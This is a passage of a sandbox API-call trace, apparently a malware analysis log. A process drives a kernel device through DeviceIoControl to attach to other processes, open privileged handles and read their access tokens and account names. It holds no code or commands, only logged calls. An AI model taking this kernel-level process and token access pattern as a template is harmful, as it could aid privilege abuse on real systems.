nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.166] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.166] PsAcquireProcessExitSynchronization () returned 0x0 [0133.166] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0) [0133.166] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002111180, HandleInformation=0x0) returned 0x0 [0133.166] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.166] PsReleaseProcessExitSynchronization () returned 0x2 [0133.166] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0133.166] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.166] ObfDereferenceObject (Object=0xfffffa8002111180) returned 0x1 [0133.166] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.166] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.167] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.167] PsAcquireProcessExitSynchronization () returned 0x0 [0133.167] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0) [0133.167] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.167] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.167] PsReleaseProcessExitSynchronization () returned 0x2 [0133.167] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0133.167] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.167] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.167] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.167] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.167] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa40) returned 0xc0 [0133.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.167] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800211db30, HandleInformation=0x0) returned 0x0 [0133.167] ObOpenObjectByPointer (in: Object=0xfffffa800211db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.167] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x12 [0133.167] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.167] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.167] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.167] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.167] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.169] CloseHandle (hObject=0xc8) returned 1 [0133.169] CloseHandle (hObject=0xc0) returned 1 [0133.169] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.169] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.169] PsAcquireProcessExitSynchronization () returned 0x0 [0133.169] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0) [0133.169] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800211b720, HandleInformation=0x0) returned 0x0 [0133.169] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.169] PsReleaseProcessExitSynchronization () returned 0x2 [0133.169] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0133.169] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.169] ObfDereferenceObject (Object=0xfffffa800211b720) returned 0x1 [0133.169] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.169] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.169] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.169] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.169] PsAcquireProcessExitSynchronization () returned 0x0 [0133.169] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0) [0133.169] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800211d120, HandleInformation=0x0) returned 0x0 [0133.169] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.169] PsReleaseProcessExitSynchronization () returned 0x2 [0133.169] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0133.169] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.169] ObfDereferenceObject (Object=0xfffffa800211d120) returned 0x1 [0133.169] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.170] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.170] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.170] PsLookupProcessByProcessId (in: ProcessId=0xa40, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.170] PsAcquireProcessExitSynchronization () returned 0x0 [0133.170] KeStackAttachProcess (in: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800211db30, ApcState=0xfffff880050005d0) [0133.170] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.170] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.170] PsReleaseProcessExitSynchronization () returned 0x2 [0133.170] ObfDereferenceObject (Object=0xfffffa800211db30) returned 0x10 [0133.170] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.170] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.170] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.170] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.170] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa50) returned 0xc0 [0133.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.170] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002128740, HandleInformation=0x0) returned 0x0 [0133.170] ObOpenObjectByPointer (in: Object=0xfffffa8002128740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.170] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x12 [0133.170] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.170] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.170] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.170] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.170] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.172] CloseHandle (hObject=0xc8) returned 1 [0133.172] CloseHandle (hObject=0xc0) returned 1 [0133.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.172] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.172] PsAcquireProcessExitSynchronization () returned 0x0 [0133.172] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0) [0133.172] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002128070, HandleInformation=0x0) returned 0x0 [0133.172] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.172] PsReleaseProcessExitSynchronization () returned 0x2 [0133.172] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0133.172] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.172] ObfDereferenceObject (Object=0xfffffa8002128070) returned 0x1 [0133.172] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.172] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.172] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.172] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0133.172] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.172] PsAcquireProcessExitSynchronization () returned 0x0 [0133.172] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0) [0133.172] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001ff4f20, HandleInformation=0x0) returned 0x0 [0133.172] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.172] PsReleaseProcessExitSynchronization () returned 0x2 [0133.172] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0133.172] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.173] ObfDereferenceObject (Object=0xfffffa8001ff4f20) returned 0x1 [0133.173] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.173] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.173] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.173] PsLookupProcessByProcessId (in: ProcessId=0xa50, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.173] PsAcquireProcessExitSynchronization () returned 0x0 [0133.173] KeStackAttachProcess (in: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002128740, ApcState=0xfffff880050005d0) [0133.173] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.173] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.173] PsReleaseProcessExitSynchronization () returned 0x2 [0133.173] ObfDereferenceObject (Object=0xfffffa8002128740) returned 0x10 [0133.173] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.173] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.173] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.173] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.173] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa60) returned 0xc0 [0133.173] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.173] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002001330, HandleInformation=0x0) returned 0x0 [0133.173] ObOpenObjectByPointer (in: Object=0xfffffa8002001330, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.173] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x12 [0133.173] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.173] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.173] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.173] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.173] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.175] CloseHandle (hObject=0xc8) returned 1 [0133.175] CloseHandle (hObject=0xc0) returned 1 [0133.175] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.175] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.175] PsAcquireProcessExitSynchronization () returned 0x0 [0133.175] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0) [0133.175] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002001bd0, HandleInformation=0x0) returned 0x0 [0133.175] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.175] PsReleaseProcessExitSynchronization () returned 0x2 [0133.175] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0133.175] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.175] ObfDereferenceObject (Object=0xfffffa8002001bd0) returned 0x1 [0133.175] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.175] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.175] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.175] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.175] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.175] PsAcquireProcessExitSynchronization () returned 0x0 [0133.175] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0) [0133.176] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020b71b0, HandleInformation=0x0) returned 0x0 [0133.176] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.176] PsReleaseProcessExitSynchronization () returned 0x2 [0133.176] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0133.176] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.176] ObfDereferenceObject (Object=0xfffffa80020b71b0) returned 0x1 [0133.176] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.176] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.176] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.176] PsLookupProcessByProcessId (in: ProcessId=0xa60, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.176] PsAcquireProcessExitSynchronization () returned 0x0 [0133.176] KeStackAttachProcess (in: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002001330, ApcState=0xfffff880050005d0) [0133.176] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.176] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.176] PsReleaseProcessExitSynchronization () returned 0x2 [0133.176] ObfDereferenceObject (Object=0xfffffa8002001330) returned 0x10 [0133.176] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.176] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.176] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.176] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.176] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa70) returned 0xc0 [0133.176] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.176] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020c2b30, HandleInformation=0x0) returned 0x0 [0133.176] ObOpenObjectByPointer (in: Object=0xfffffa80020c2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.176] ObfDereferenceObject (Object=0xfffffa80020c2b30) returned 0x12 [0133.176] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.176] ZwClose 